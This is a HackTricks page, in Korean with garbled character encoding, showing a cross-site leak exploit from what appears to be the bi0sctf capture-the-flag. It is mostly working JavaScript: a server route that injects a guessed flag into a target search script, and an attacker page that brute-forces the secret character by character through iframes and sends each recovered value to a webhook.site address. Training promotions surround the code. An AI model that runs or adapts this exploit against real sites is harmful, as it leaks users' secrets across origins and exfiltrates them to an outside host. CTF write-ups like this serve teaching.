JavaScript ์‹คํ–‰ XS ๋ˆ„์ˆ˜

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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// Code that will try ${guess} as flag (need rest of the server code
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

์ด์ „ /guessing ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ๊ฐ ๊ฐ€๋Šฅ์„ฑ์„ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•ด iframe์„ ์ƒ์„ฑํ•˜๋Š” ๋ฉ”์ธ ํŽ˜์ด์ง€

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
console.log("iframe: ", iframe)
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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